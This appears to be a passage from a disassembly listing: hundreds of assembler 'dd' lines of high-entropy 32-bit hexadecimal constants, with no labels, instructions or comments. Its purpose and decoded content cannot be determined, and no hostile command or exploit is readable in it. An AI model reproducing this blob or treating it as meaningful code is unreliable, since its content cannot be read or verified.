		dd 82EC8345h, 1CD4E913h, 6A69384Ah, 0B78FAF01h,	0ED4C7E98h
		dd 9FC4C0AEh, 0FC485800h, 52412179h, 7933F2D1h,	0EBAE0FF2h
		dd 0BAE0C825h, 3E9BFDF3h, 0EADD9A00h, 4A4F1B2Ch, 10A66085h
		dd 17C00137h, 3C2BF600h, 2E697FA2h, 0A71431B4h,	0C513C920h
		dd 0A65AF4FAh, 3378AF0Ch, 0A170C4h, 359BFF1Dh, 5326ACA5h
		dd 2895F00h, 50FCDE03h,	72E0274h, 414B9A9Ch, 807DA484h
		dd 5BDF21D0h, 80661C3Eh, 743FF62Ah, 8E4B14h, 3E566AEAh
		dd 733BEF27h, 16680463h, 0F1F32Ah, 1E89D928h, 5C150292h
		dd 375A48h, 9413C6D4h, 0C0653F8h, 9A896DEh, 73036C59h
		dd 2EFD3930h, 7B51001Dh, 2DA1C527h, 2F0CBFEBh, 61FB2635h
		dd 0FC8400DEh, 0D85D429h, 7492FD3Ch, 5FFB6C13h,	99BD3040h
		dd 0A0D3EB81h, 128590h,	634F3B1h, 76CBBB3h, 498AF000h
		dd 7B98D05Dh, 8B0F3C36h, 24FBD700h, 25DCB962h, 0D219A700h
		dd 0A965D902h, 726730BCh, 0C758C928h, 6B3439h, 791C9436h
		dd 60DCD578h, 8AE2809Fh, 0C012EE3h, 0D63B7A6h, 0BFF0D21Bh
		dd 0FB560CEFh, 0AF9801C2h, 71F2C100h, 583D7B59h, 52F7072Eh
		dd 80E5ECh, 4DF109A2h, 0D536DD00h, 7D9D9197h, 0D6480042h
		dd 0B84C60Eh, 0E4003DC9h, 49F933A8h, 189DCC3Bh,	6061EE86h
		dd 0AC791A18h, 10663A31h, 31C00DF8h, 91430005h,	0F076A56Dh
		dd 0B500582Eh, 0B19A3C5Eh
		dd 3E5BBBh, 100B776Fh, 24480EE6h, 5A9FEF2Ch, 75969100h
		dd 0E88B443Ch, 1D01F2Bh, 9E5C4045h, 7854FE8Ch, 3B763Dh
		dd 3A885285h, 0AB3464h,	0A13D4C56h, 0E08C1D1h, 0B2860600h
		dd 8E3C1C5Eh, 0A261007Fh, 32E0A929h, 9700B8BDh,	6A570874h
		dd 0E2909Dh, 9AAFB525h,	2C681A30h, 3D82B000h, 4CD3364Ah
		dd 2F6200BEh, 763B81A6h, 0EE0060AEh, 0CCA3F605h, 0C70BCEh
		dd 0FC80ECE2h, 44C88110h, 0A435C32Eh, 45CC2A04h, 6F4790D1h
		dd 3B26F7DCh, 840079F6h, 0FC448A65h, 320F24C5h,	0F2522Fh
		dd 0A745862Eh, 8260007Eh, 443EE0Dh, 817266Ah, 54408F47h
		dd 0D6923ECCh, 44524C4Ch, 92FA000h, 2B0A83C6h, 87182400h
		dd 627BE9B0h, 6FCF075Ah, 51B3F7BDh, 0FC929E1Eh,	18053F16h
		dd 0AE4AF0EAh, 0ACB800BBh, 9D973704h, 77E45300h, 0C7597EC2h
		dd 62500DEh, 0D4F3983Ch, 2C064065h, 70F52E68h, 86892E91h
		dd 0CA6B80A0h, 526858F8h, 23E821E8h, 0E5B11918h, 493B0121h
		dd 7703A498h, 70ADE688h, 0E8C408Fh, 5600134Eh, 99EBC8D9h
		dd 3F122E7h, 0C7756131h, 0E9E0D897h, 950B934Eh,	6A471ECh
		dd 9058695Ch, 0FDF80A92h, 3065E4h, 47B62144h, 0BEE49050h
		dd 9D839A1Eh, 119F3500h, 0F567C5h, 7BBD4608h, 0FD4465B5h
		dd 0DCCA2426h, 90009EA4h, 71D8459Fh, 7C6A9089h,	0DC0600C5h
		dd 8C403A81h, 0C400EA7Eh, 71217C35h, 0E4E3C303h, 0E29F3DA7h
		dd 0B97FFC00h, 5741E1AEh, 891B2F00h, 6F016BD8h,	71AF00B7h
		dd 2DBC1078h, 0B100E113h, 2F865EAEh, 506723h, 3B51943h
		dd 0BCDD90A4h, 0DEAC9400h, 0FBEECB99h, 7DD80016h, 35200E18h
		dd 2100BA2Eh, 7A5AC30h,	0F3412Fh, 7DE4FBB1h, 0B6CFC64Dh
		dd 793B48h, 0CE3A7079h,	22A953h, 4A49BEEAh, 0ED269FCDh
		dd 0E4839CA8h, 5389F00Fh, 386A4001h, 79EEB51Eh,	21FE07Bh
		dd 59A38B98h, 4A6519h, 0F0209A62h, 898FD373h, 81C4253Fh
		dd 42AED78Ch, 0C821C31Ah, 579C618Eh, 55470102h,	0BD19ECC0h
		dd 0DA80E802h, 0A3CFC350h, 12EE21C0h, 0BA4531h,	0AE62C160h
		dd 27000FE2h, 0A7728DDAh, 0A9DE90h, 2D88F25Fh, 67CA6E58h
		dd 91EDD530h, 78111F0h,	8822C4B7h, 65904052h, 267D07E4h
		dd 0ACBA6013h, 0E5990818h, 0E88F5A91h, 1FB807EBh, 18509DCFh
		dd 39542BBCh, 471848F2h, 0E70A999Bh, 0DC011978h, 584B246Ah
		dd 7980EBD5h, 65BA8C53h, 71000D4Eh, 1F9EBB70h, 31AD69CEh
		dd 64716B90h, 28A9D8FEh, 8504972h, 97004DC5h, 82450AD2h
		dd 62F028Fh, 3FB32BDEh,	920079EBh, 89E987DBh, 1FE5A5D2h
		dd 9EEC70h, 0BE5394A6h,	44986C59h, 0F1ED927Eh, 0B965E09Fh
		dd 0A0409E60h, 0BDF8AE1h, 0C818A24Bh, 0DB221A80h, 0F03E25AFh
		dd 0A5280027h, 0B9C34FF5h, 62D93AF1h, 30E5779Dh, 1FE00430h
		dd 687D2E79h, 0BE786F03h, 0E8F75414h, 0F517A94h, 0D3E93392h
		dd 90B57EE0h, 0AAE8430Eh, 0C6AD3600h, 5A9A9F64h, 0CAF603FEh
		dd 14D8E3F9h, 0F162880Ch, 0E1808D0h, 7BB75F8Dh,	0FFE3EC40h
		dd 5006EEF9h, 9A9B3907h, 32760F40h, 35E4FE58h, 7593401Bh
		dd 0EFF26E22h, 803F4980h, 392F6B1Ch, 0C61D3600h, 4DBC88D5h
		dd 785F0C4Eh, 89D9E677h, 3B112803h, 0B8B34AD3h,	36352ACh
		dd 84C59460h, 7EF84538h, 0C3008709h, 5499F57Ah,	0E01C55h
		dd 77C2E4E3h, 6D381863h, 0D050D861h, 998E0A54h,	0CF40F543h
		dd 0E97388E0h, 0D333B200h, 0DB8235C2h, 6EFB1DE3h, 0D6270221h
		dd 4B53F42h, 461C5414h,	0AAC3BA04h, 10005DF4h, 0DDB23048h
		dd 168A536Eh, 44D1DCh, 9EA78BB5h, 0CD011F0Dh, 0E0A191D5h
		dd 7CCFE8C0h, 0F0150049h, 0A579FFDBh, 0E3F8DA36h, 0C9664100h
		dd 4F9555B8h, 0D84E00D6h, 0A2DF7D17h, 5E6FC0CCh, 8845A380h
		dd 4CC48854h, 3EB33EA9h, 2ED10F7Bh, 1D43EC1Eh, 207C2C58h
		dd 0AD3A030Ah, 3E782071h, 62188C38h, 0BEA9C226h, 5ECF008Fh
		dd 0E1BA804Ch, 8600584Fh, 3961772h, 0A83D636Bh,	185F078Ch
		dd 11345A6Ch, 45017E14h, 0AF7DE3A6h, 25E4B396h,	0CE350F91h
		dd 0EC06C242h, 6F2A905Ch, 7070AC6Eh, 2A20F300h,	366EFF2h
		dd 579D13DBh, 0A65E007Fh, 0E7B14F8Eh, 98E3A03Ah, 0FD39686Fh
		dd 7FEA1Ch, 13D949Dh, 0E65E37F3h, 0BDD43000h, 0DDCAC107h
		dd 0C2130AD2h, 9EE4D0A7h, 0D467405Ah, 9CE759EBh, 0DD916667h
		dd 7DBEBF00h, 0E8100795h, 0C026A67Ah, 0BBCDBC86h, 1541CC60h
		dd 0F11A2Ch, 8749A33Dh,	11678AF0h, 0DA37C902h, 64DDC0E1h
		dd 8D380004h, 0DC56AEEFh, 321836BBh, 4F62BCC1h,	0CF2430F6h
		dd 7F70B529h, 3C4A9400h, 879918FDh, 0BC954E59h,	0F0796159h
		dd 318FE421h, 407D88BDh, 45441540h, 0ECA3D39Ch,	5DCBE810h
		dd 94546F3Ch, 0D56E0F7Ah, 0E3C03464h, 0BD3813D0h, 0CE454C07h
		dd 6360CA8Dh, 0F25087h,	19C0FA2Bh, 4A8A15A6h, 5438F014h
		dd 28420A24h, 5F80F457h, 3125F15Dh, 96DF0E67h, 6B80D9CAh
		dd 0A54BCC66h, 60ECB13Dh, 0AB3413E8h, 4EE80A1Dh, 43B89D4Dh
		dd 35B18239h, 93F5ECDCh, 0EDCC5F1Fh, 0CAEA2306h, 902A5298h
		dd 6E646A00h, 3F96F2A7h, 0A0BD9C09h, 6D0C215Dh,	4102950Fh
		dd 0F8CFD020h, 2BB80084h, 53F2D5C9h, 5F0A4C20h,	0A8C29DF0h
		dd 2A1AF598h, 0D2E03Eh,	2CCEA0AEh, 0AFC9FB5h, 68E190A0h
		dd 0AE144388h, 0F5F208F4h, 1803124h, 36B20B86h,	0D7471CB4h
		dd 83B0C302h, 19E05765h, 37E24598h, 0EF151E00h,	0BB2FA9A2h
		dd 34089031h, 30C0C52Ch, 0ED9DF5D8h, 0E47B9E2Ch, 0C120F020h
		dd 4897484Ah, 79E52118h, 0A638B2FCh, 6F230DB5h,	3BE8416Ch
		dd 0E385034Ah, 0C2408151h, 0DB3AB9C0h, 480C3500h, 0D082F345h
		dd 0F9BBFACAh, 0AF61824h, 0C19D1DAEh, 0B2F48090h, 0D5E4BBACh
		dd 8F207400h, 9B240E50h, 7E400F45h, 9D0A54Ch, 204F2BA9h
		dd 981FCF0Ch, 0AA170096h, 0EE5D4756h, 57192CBEh, 3AA1594Dh
		dd 905E7C48h, 989276C8h, 4D261888h, 0CDA22969h,	25F9CE14h
		dd 9D810078h, 8C3A8AB5h, 3DBD0178h, 2834F764h, 5E818722h
		dd 19D0EF6Eh, 1C77D7D0h, 7EF6EC56h, 8E379600h, 4BA23806h
		dd 0C783B100h, 3634FDDh, 8ECA464h, 0CEC2C0F0h, 54B4BEBAh
		dd 4B48C190h, 724780ECh, 3098BC9Fh, 21213D9Dh, 867AD879h
		dd 4EAB900h, 0BB7A9C3Ah, 7DE9050Bh, 7222FEECh, 39276BF8h
		dd 0A2209DC0h, 6C7E2Fh,	0CAD5D7F8h, 4CB8DB0Fh, 0B4793E28h
		dd 586418A0h, 6C67C600h, 26E75E5Dh, 0A3FCA440h,	2FA10777h
		dd 40F13068h, 0D01C755h, 0DCC0E50Ah, 0B80E6CCAh, 0F60190CDh
		dd 64C961B9h, 69406408h, 3C9A2BECh, 19C20700h, 0BE5B1493h
		dd 12FCAC43h, 23B1CD9Eh, 338BC120h, 3828611Dh, 73D90020h
		dd 3C7B788Dh, 1A00D0CBh, 1CB0AB5Dh, 0FC02C249h,	7C9168h
		dd 0C6E75C25h, 2E0414AFh, 3C87F0D1h, 0C5BEC203h, 0CA6F6918h
		dd 955EC31h, 4C699D0Eh,	0DFC10498h, 974CD4A4h, 7891E0h
		dd 0DBFBE122h, 48AF91BBh, 9F218815h, 1425B816h,	59FB0C70h
		dd 13A179A5h, 723B3CA9h, 0CC20CE54h, 1C6967D8h,	8441BA16h
		dd 9823EB7Fh, 0C3609C70h, 0E1BEE761h, 5AC800B8h, 220BFC4Bh
		dd 0D5015255h, 4198906Fh, 0D0605F44h, 24282A13h, 0CEF700A8h
		dd 0CC6816DFh, 0C53B74FAh, 89923AABh, 8544ECACh, 0B8903C5Ch
		dd 0C0202BA2h, 47B10339h, 4DEC1997h, 0EB507A00h, 64B024DFh
		dd 0F21D4896h, 57C39105h, 0D618D048h, 151519A5h, 29A8CF68h
		dd 6400F02Bh, 5B0451A6h
		dd 1602008Eh, 0FABCD226h, 9416F639h, 30A0A7h, 60426B7Ch
		dd 0EF8C8935h, 0FA06C36Dh, 312ABD19h, 33D50119h, 6FC780A2h
		dd 0E404040h, 1B7278E8h, 9AD5A000h, 961694E1h, 90B50040h
		dd 0D2155CDBh, 5A48FFF0h, 0B9381214h, 0C42A9832h, 9AE60298h
		dd 3631C995h, 10C8A061h, 22B6783h, 926D01BAh, 0A0841897h
		dd 30364B10h, 0CBC7C64h, 5C455742h, 2A52A3A1h, 52C400CCh
		dd 8168FA36h, 82E50E6Fh, 71E76959h, 9DF81284h, 0F0E2464h
		dd 0C588CF21h, 880127Dh, 0FF82504h, 1497BD2Fh, 0CA44A260h
		dd 40563E38h, 4C159370h, 50422C70h, 0C4AE6F1Fh,	11BE5C63h
		dd 14CA56B0h, 4106569h,	4016E611h, 0A42B1898h, 865C0498h
		dd 98C56768h, 1E17AFF8h, 7E8F4C0h, 0C1823458h, 2C66E4DCh
		dd 0EED744h, 5AF25726h,	0F78F49BDh, 19A92Eh, 10EF5B60h
		dd 7B0F02ECh, 0BC6C3BDBh, 5FF08880h, 0CF0BD151h, 168BDACCh
		dd 48300F80h, 0CC34E4B1h, 0A9C00848h, 4EEC9B72h, 0D900DCACh
		dd 2FD3AB31h, 941491D4h, 407413Ch, 3839E46Ah, 0D167FE1Ch
		dd 0B72D16C0h, 9FCB74h,	9776C206h, 19966390h, 5A29090Ch
		dd 4021A0F7h, 5C0107D3h, 26263A3h, 4027439Fh, 0BEF23122h
		dd 3C523A00h, 829B05BBh, 1AB7062Ch, 0F4F455C2h,	0AAF5E300h
		dd 0D4597563h, 84645149h, 0E54457F0h, 282BB194h, 99129D00h
		dd 53851EBh, 0F1096700h, 9A13606Bh, 0FBE51393h,	0AC6C04DDh
		dd 230CA52Eh, 0A8262C6Ch, 0C07FFF40h, 0CE3E877h, 3E444A8Fh
		dd 9D756D30h, 4514F0A8h, 0EDCB7300h, 4E0D0935h,	12C301BBh
		dd 0C7DC0ABEh, 1CA3D84Ah, 9C723A07h, 90BBC2BAh,	0F1E1FDCh
		dd 0A97D8750h, 0CC914A89h, 3CA03640h, 0A03CA568h, 8E165028h
		dd 9BE316C6h, 25B03043h, 2C0FB644h, 0A07C9668h,	86CEB3AEh
		dd 0B9BD043Dh, 0A3B49141h, 0E8C10D08h, 0A0237137h, 411F500Fh
		dd 0EAC78400h, 64745F17h, 45E6861Ch, 10037993h,	262BBCh
		dd 0CEC97E31h, 0F96FF835h, 157B3300h, 25820DFBh, 203959C0h
		dd 9CD18C3Bh, 0BC007C33h, 7F5CE78Bh, 9E040902h,	53322C19h
		dd 49BA898h, 0C0F5BB1Eh, 7104C091h, 822547ACh, 0C8149A31h
		dd 42E6990h, 6807E742h,	430A4040h, 90EB209Ch, 9D043E51h
		dd 276F0297h, 0FBE2F5A0h, 1F0C5D80h, 11BF0956h,	0C6803A2Fh
		dd 0DB381844h, 0FA642102h, 53F016A0h, 768C0090h, 9F86684Dh
		dd 0FE0171F6h, 6516972Bh, 0B501B353h, 486800E2h, 12E0A42Eh
		dd 0C8A0C3E9h, 7700CEACh, 0EC1E9410h, 908A674h,	0F6EB1F30h
		dd 0FE18A846h, 0B9B95F6Eh, 0F474FFh, 830588CCh,	0D51CA834h
		dd 0B59B6C00h, 7B4A6FF7h, 68290E50h, 707296F5h,	252BBD28h
		dd 1CFA88h, 0F1C27645h,	0A9A3B414h, 1BC5591Dh, 0BBCAC480h
		dd 1228D9E9h, 60BE7233h, 0F05C5E20h, 2D201460h,	1E946A84h
		dd 95BBCD40h, 0CC11FC18h, 7262238h, 0F7E398A4h,	0F00D20F5h
		dd 880A9C86h, 784AFB06h, 0B44F6DC4h, 42C15323h,	89AE20DFh
		dd 16019E32h, 0D01D20CAh, 43FEC0AAh, 297E4AACh,	0FC6AFCF0h
		dd 9CD0CF05h, 9CCCD28Dh, 99396328h, 75A807D4h, 5377ECE9h
		dd 9E4163Fh, 994B2DA7h,	600594B0h, 0FA100880h, 0B929100h
		dd 0FC4E4DE7h, 17872494h, 245700BCh, 0B14BB9F7h, 0DDC5D701h
		dd 71BCF64Fh, 60F22821h, 815E24C4h, 0C10824DEh,	8004D44Ch
		dd 0CE14B394h, 0C25D807Ah, 566B2CF0h, 1F589029h, 0BC4F5857h
		dd 0F098A4C9h, 4400BC0Ah, 8BDE67BBh, 246970h, 21EF1430h
		dd 26F86DDFh, 3C498FF1h, 0A8FFA0ECh, 2C73341Bh,	1F9C7C8Fh
		dd 964602DAh, 4C6C3669h, 4C2C6322h, 180889Ch, 7BCBEECEh
		dd 8500FDFCh, 0C1299964h, 0EAD724E0h, 2FB2131Dh, 0FF18D19Dh
		dd 1205FC33h, 0DE0428E7h, 0E77F00A2h, 2CF04AA8h, 3033D43h
		dd 0DFAE777Eh, 5C64B8BAh, 986709C6h, 58E65E5Dh,	0BC0C8D01h
		dd 6CF2261Fh, 452BAB41h, 81003036h, 0DDB3CE1Eh,	0D63E8A91h
		dd 128C50D2h, 0F4139D70h, 5821BF6Ch, 14734B26h,	66C48891h
		dd 64D0252Dh, 105C26h, 0F6A19E50h, 687E0BB3h, 7D970303h
		dd 0D8E8CC39h, 914AED4Bh, 2C389034h, 6712E431h,	0AAF6C4C0h
		dd 9B7402FDh, 0F7154D8Dh, 248F88C0h, 0BB417B05h, 0FC70BE76h
		dd 0A1394E6Bh, 4310CF48h, 40025D51h, 0CB56BE0Eh, 886468h
		dd 0F78D8523h, 0B7EE1DD4h, 228BF100h, 275E1744h, 0F4800E3h
		dd 7DA44909h, 0F74850B5h, 103422B8h, 1C3624F6h,	0E4470842h
		dd 0F9C0DE0Ch, 8E20AEh,	4B345F90h, 4586178h, 4C98915Ch
		dd 0B23525EEh, 7F4800FCh, 988D4CD4h, 0E2244862h, 0D7019100h
		dd 63E77AE3h, 0D2210A09h, 8B1C3195h, 992813E4h,	0F91C0070h
		dd 55CF3744h, 187E8F07h, 6190A966h, 245EA879h, 102059E0h
		dd 94C78A80h, 1715C380h, 159AF12h, 7A36BDBBh, 0FC31B732h
		dd 895C72F5h, 800BC908h, 53590284h, 0AABE0F63h,	566F162Ch
		dd 28D6E68Eh, 384449E8h, 0A050F59Ch, 0F87551CFh, 79052796h
		dd 5D686C18h, 70A01096h, 3A3B44h, 381689B2h, 0AF9AC774h
		dd 1C20F024h, 0BC826310h, 3161BAFDh, 5C6420E0h,	24CDA388h
		dd 0E01C8ACEh, 20AB3508h, 0F923C804h, 78B44157h, 0D458E9CFh
		dd 0E8A7896Ch, 74000ACDh, 0C2EF2051h, 2CD49313h, 1FDFB15Bh
		dd 4434EED5h, 0ACF3403Ah, 4E3E62Fh, 0F281A750h,	4B04E6FBh
		dd 6F4D6840h, 926BFA8h,	81AA43D2h, 8C596CE2h, 2B525E00h
		dd 0FFD79D67h, 70F23C61h, 0F8974958h, 892B8084h, 8AFE4088h
		dd 411F066Dh, 5340F1DDh, 0EFB3AF02h, 6B3205B6h,	22666F50h
		dd 1CCC80BCh, 50141F00h, 850E9E17h, 0FE07E695h,	0A874A324h
		dd 0ECF5D0CBh, 124C1F9Ah, 7B480375h, 2688575Ch,	843E3E66h
		dd 44151270h, 0A021FC28h, 631724h, 0B717E9Eh, 1D39DB3Eh
		dd 0D8D6601h, 0E7454F37h, 3C10E9ADh, 0E97E044Ch, 0D9B98B26h
		dd 5D38E707h, 9C1FB040h, 788AE3Bh, 2E19571Eh, 0C8534540h
		dd 5A31699Ch, 5626513Eh, 0AA001822h, 0CF4AA6EEh, 9894B9C2h
		dd 8C885E97h, 944600BDh, 0FA60B396h, 0E107167Ah, 5FE52D41h
		dd 185C6659h, 59466F07h, 11E86794h, 0B4F7571Dh,	764175C0h
		dd 0F41A8E4Ch, 80F09440h, 0C21519A4h, 0B8B6374Ah, 2D1F16E0h
		dd 5C07F439h, 0E01CDAFh, 0CE088ACDh, 205C76C1h,	59F0C85Ah
		dd 98043B92h, 5E09C5CFh, 44B06CE6h, 8A5244h, 0BCC05F8Bh
		dd 9A065975h, 72189B00h, 2A62AB2Bh, 88F624EFh, 921EE014h
		dd 76017806h, 4F840F55h, 7423EDF7h, 16E89F24h, 6D783043h
		dd 0B1006C0Ah, 0DDBA8C70h, 3FB6CFBEh, 45002029h, 18EF5667h
		dd 2B4EE61Eh, 96D3501Ch, 913C88Ah, 93BCD025h, 0B501821Eh
		dd 0FAB24E0Bh, 6A307A1Ah, 197F444h, 0EF15A369h,	0D4747858h
		dd 2A4A666Ch, 947E5844h, 2D0318A2h, 3E02819Ah, 0ADD92FF8h
		dd 0C609C800h, 0D6F7EE53h, 0F4F05706h, 0E526811h, 0E0CA4201h
		dd 41E4D7ADh, 0A0B41DF1h, 0CC440216h, 1073AA77h, 4DB8CE13h
		dd 4B00045Dh, 751BF65Bh, 0A7008F56h, 2014EA89h,	4C9A41F3h
		dd 2422E418h, 1D4E8B0Bh, 8BE8E2D8h, 0E2EB0464h,	45E87097h
		dd 49D0C007h, 3457F084h, 0AB0178A0h, 0C34EA42Fh, 18235657h
		dd 5F89584Dh, 0C2075CB0h, 20E1DE27h, 0BE8FCEF8h, 1FD8992Bh
		dd 1018C0E0h, 211EAAFDh, 633D334Ch, 0B5BCF7E8h,	0FB20C88h
		dd 0FE87B010h, 0A5E08AEEh, 0CA67391Dh, 726F4613h, 80C83848h
		dd 0C0D878D7h, 0D4F41F39h, 91575D04h, 0C4A01E36h, 8BE0B437h
		dd 0D8113CCFh, 80802835h
		dd 448CD396h, 41680051h, 623C946Bh, 0F04A8328h,	20CACC72h
		dd 7928DB2h, 0C5AAE901h, 9D49661Eh, 6E007C72h, 84407EF7h
		dd 56007CB4h, 0D3B50852h, 1DEA134Ah, 8B2B8372h,	6466D0FAh
		dd 5C66BC11h, 64024322h, 7DE9F40Dh, 98104CA0h, 448C99A4h
		dd 75184026h, 16A59088h, 154C21Bh, 0E0F2106Ch, 2C1420F4h
		dd 0E4300789h, 115601E9h, 6AB5417Ch, 36CC3131h,	8D2600F0h
		dd 0E08E7EFh, 149C9097h, 0B0A7F8BBh, 3DB9F209h,	26180834h
		dd 69C9564Ch, 9338B64Bh, 8624909Ch, 0E8002670h,	7F4588FDh
		dd 0CEF1921h, 5EA44DBCh, 63726F20h, 9C6039D2h, 3F0DF3F8h
		dd 0B5059BDFh, 0CC187F9Fh, 0B4CFCB60h, 0A7B6A101h, 802B1EF4h
		dd 0BF92D538h, 0BD75B401h, 0C43BB14Bh, 20C41475h, 941858E6h
		dd 30073D22h, 7F293516h, 4E273EF0h, 40214FF7h, 0D862B7B4h
		dd 2F00A7F3h, 0E956A048h, 52429E3h, 80FF8E13h, 3894DD0Eh
		dd 38F88058h, 20373Bh, 17E09341h, 0AAE1A122h, 13861A00h
		dd 9BAB3290h, 9A39F2EBh, 303720ACh, 64B2C224h, 10C86F44h
		dd 0F22C00EEh, 48118AD8h, 8901C9C2h, 0F4BDFAADh, 0BC36EF8Ch
		dd 0E4048A78h, 0A4A4D735h, 0BF690291h, 9880C456h, 4A809ACDh
		dd 5D70402Bh, 0A5DD7C66h, 0A00C3F2h, 8D7BDABCh,	0B0632D38h
		dd 72872CB4h, 0C2F3C524h, 1F20C884h, 5B6C88C2h,	0EF482049h
		dd 32D4895h, 0E8401036h, 0FDB4356Ah, 2CF8B310h,	1000DC1Fh
		dd 0B6FECA45h, 0C2141643h, 34D54Bh, 25076F64h, 0BD58B2C5h
		dd 0E914B080h, 573A0CC3h, 69E15B48h, 0B63F23Fh,	0E85467C1h
		dd 88C44FA0h, 32644869h, 0F8A807B1h, 6A20C2B2h,	0A094D849h
		dd 6B7680h, 57BD4541h, 256198E6h, 2C8094BCh, 97171ACEh
		dd 85800082h, 20566E77h, 1D0B08BBh, 6407187Eh, 0EC160048h
		dd 0B80F3A9Dh, 8E00E223h, 0DEDB9C0Bh, 16F26F6h,	7F8F4E47h
		dd 39CFCDBDh, 24205F48h, 388D4880h, 3080249Fh, 0F3EFE2EEh
		dd 14017670h, 4D4B5B1Ch, 0D9C65CC8h, 0E21FE5B0h, 14190054h
		dd 534BE6FDh, 176A5A4Eh, 7400810h, 0EF143B8Eh, 2C0F333Eh
		dd 76C7D128h, 6010E957h, 8CA8CB2Bh, 0DA2EA502h,	180716AFh
		dd 1170AB4Ch, 214A16Ch,	0EEB7CE50h, 30C171BEh, 406FD65Ah
		dd 0DE304A15h, 0F3FB4D80h, 59B0FC85h, 6F1D4072h, 0BA016249h
		dd 3875F55Ah, 9024C52Ah, 4C964164h, 3C04BA84h, 37DED832h
		dd 612A3F80h, 609B008Bh, 685A1F48h, 0D80ABF10h,	0A8C2A1FFh
		dd 0DEC12701h, 806C339Eh, 2BA8899Eh, 9ED56C98h,	68EF7A01h
		dd 26F2C8EEh, 0BA8602Bh, 0EB883828h, 0B271F9h, 56B82E36h
		dd 7C71C18Ah, 12A02F0Fh, 0E85F0AB5h, 0C8659FC4h, 92002120h
		dd 8B0748A9h, 25BB6C5h,	9A18F291h, 90907385h, 118833BFh
		dd 45CC04E6h, 0C0BE55BBh, 0E0CB53A4h, 0F1E12094h, 9E106C6Eh
		dd 1B004228h, 2497A07Ah, 445C7Fh, 290CAE65h, 0DE791AEEh
		dd 0CC265B12h, 13B9CE4h, 8A0B506Ah, 0C40D1FD9h,	3DEDE302h
		dd 3842843Ch, 0F2572644h, 254B2154h, 0A0889447h, 5948885Eh
		dd 8C124AEh, 26F7636Bh,	40E09C49h, 0E987A25Fh, 25691E00h
		dd 7576A112h, 148300A5h, 0E87C02D4h, 320934AAh,	4C8CB131h
		dd 56EE028Ch, 0B3C3FF19h, 5C155CC1h, 9E8823CCh,	65200048h
		dd 32F4B0F2h, 1E0067C7h, 90C251BFh, 643B9E97h, 0C868D05Eh
		dd 0F9008514h, 0BA55DAEFh, 1ED37E2Dh, 0C2FFBF52h, 488C67F1h
		dd 9100A071h, 29930B2h,	103E7DBFh, 784E2F2Eh, 0C1E8C850h
		dd 0B836DD25h, 0E0647938h, 8F690026h, 0E49EC299h, 0AB15E11Eh
		dd 0D7A03727h, 0C481C420h, 17BC004Bh, 0DA8F31A7h, 0A53C2D1Eh
		dd 338292A8h, 64489CB6h, 0CC68A625h, 4E162B44h,	6462F075h
		dd 778DA9Ch, 349364E5h,	7E510058h, 32144C17h, 65C7C144h
		dd 0D0CC1F81h, 0DC041EC0h, 31F5808Eh, 8202E9B0h, 5C1C743Ch
		dd 0D86C0070h, 0B41F1AEDh, 0E5522EBAh, 60C82E74h, 0BDFB81D8h
		dd 331D23E2h, 0AC0C014h, 0DF9A82EDh, 644A083Fh,	90275EA8h
		dd 2226240h, 8AA041E6h,	886C9BD6h, 79142109h, 0E95C186Bh
		dd 68A39D6Eh, 81E594A8h, 30A93E18h, 0E2072C3Eh,	0ADAB2587h
		dd 0E9C2AE60h, 0C5A40EF6h, 42C08AE4h, 0DC9B69B5h, 923BE039h
		dd 4472153Ah, 7A8B888h,	0DB210050h, 0C273C513h,	0BE64F576h
		dd 0EC4967F9h, 0A18C5A80h, 9E3D8685h, 0C9A90FCBh, 7529A1B3h
		dd 9830BE18h, 2BA28844h, 803F1C91h, 12459408h, 0A75B68h
		dd 62FE5FA1h, 0CDF67418h, 10D5B44Ah, 9B8B498h, 0AA917998h
		dd 5236683h, 0F9185EC0h, 5086FB05h, 0A473A839h,	2D5A8B57h
		dd 0F0A02BB1h, 0B6542565h, 44197101h, 118DEF1Bh, 678EF7ECh
		dd 0F11CDABEh, 0E8C40148h, 0BB50CDACh, 25227448h, 26450037h
		dd 4A47B7A9h, 4D007021h, 7159756Eh, 0B7FFBF0h, 55EA6563h
		dd 2A307C4Ch, 912641CBh, 0C4AE7DE6h, 0A63ED78Ch, 246611ECh
		dd 48E8205Ah, 330049E8h, 0DFA678D2h, 5D745D28h,	5713E481h
		dd 4C7C3253h, 2590A710h, 0D8444012h, 0C162F00h,	87EA5C07h
		dd 91F101A1h, 0D681B404h, 0C9FA20C7h, 0C0E01250h, 7B5310FBh
		dd 0E294B45Bh, 10D1646Bh, 5EAEF13h, 2672D4h, 142BAD74h
		dd 3DB87348h, 9DD4D259h, 29DBDF4Ch, 58B55CC2h, 45E00AB0h
		dd 396D0800h, 0D7430DE7h, 4B9EB081h, 2A7498BDh,	5080D09Ch
		dd 0CBDA70E2h, 2CBE5F56h, 944C7A9Ch, 0BCF71FB8h, 6C0F41D6h
		dd 0E216B163h, 0C2B08174h, 90447CC1h, 4EC2288h,	38C963CFh
		dd 8888E862h, 6C10A5B8h, 0BF0055D0h, 0B2575A8Fh, 9409E71h
		dd 1F15148Eh, 0A4009C73h, 3CF11C97h, 0F76627FDh, 0EC966C10h
		dd 3B5FF612h, 0A905A705h, 761B18C0h, 0DC16099Fh, 38ECB98Fh
		dd 81C09C30h, 0F155AEEh, 203DB5FDh, 83F44840h, 6E04FA74h
		dd 347E677Ch, 63CB8CE8h, 40520C40h, 0C7DA2B88h,	60EB3189h
		dd 952DE45Ah, 5B9F4558h, 781811h, 0A5DE8A40h, 7596581h
		dd 9814FDF4h, 17D3F283h, 243B8030h, 42C4A1Ch, 0E8DCC28Fh
		dd 60D3C8h, 2D06B63h, 1D416CD7h, 0FCB84025h, 1F1C9749h
		dd 0C30A421Bh, 1027DCA3h, 5E6EB8h, 0E30E672Ah, 6C143A53h
		dd 7AA89316h, 0C1A7700Bh, 0D0705F10h, 36B7222Dh, 34BADF10h
		dd 52CEC23Ah, 763CF228h, 0DA6DC600h, 0F984B247h, 7D8C26C5h
		dd 141AC040h, 0C0DFAA7Eh, 571993C7h, 1C403020h,	2ED874CCh
		dd 0C7CC5B9Eh, 0C25AD107h, 57862A7h, 0B9439406h, 68255CCAh
		dd 62098468h, 6DEFDC00h, 0B14C112h, 4CBC12E6h, 0AA549C08h
		dd 0E3E9FE00h, 0B1C516B6h, 468F0086h, 0CEC7BEE7h, 6DEE1FBAh
		dd 81DC3159h, 3B2ABC0Dh, 90D33F00h, 1B156500h, 57782DC4h
		dd 1060E155h, 64963985h, 94A4F080h, 2BEED43Dh, 8F3860B9h
		dd 0DCBDA745h, 1B1458C0h, 4CD23EF9h, 0FB043C34h, 0DCAD577Ch
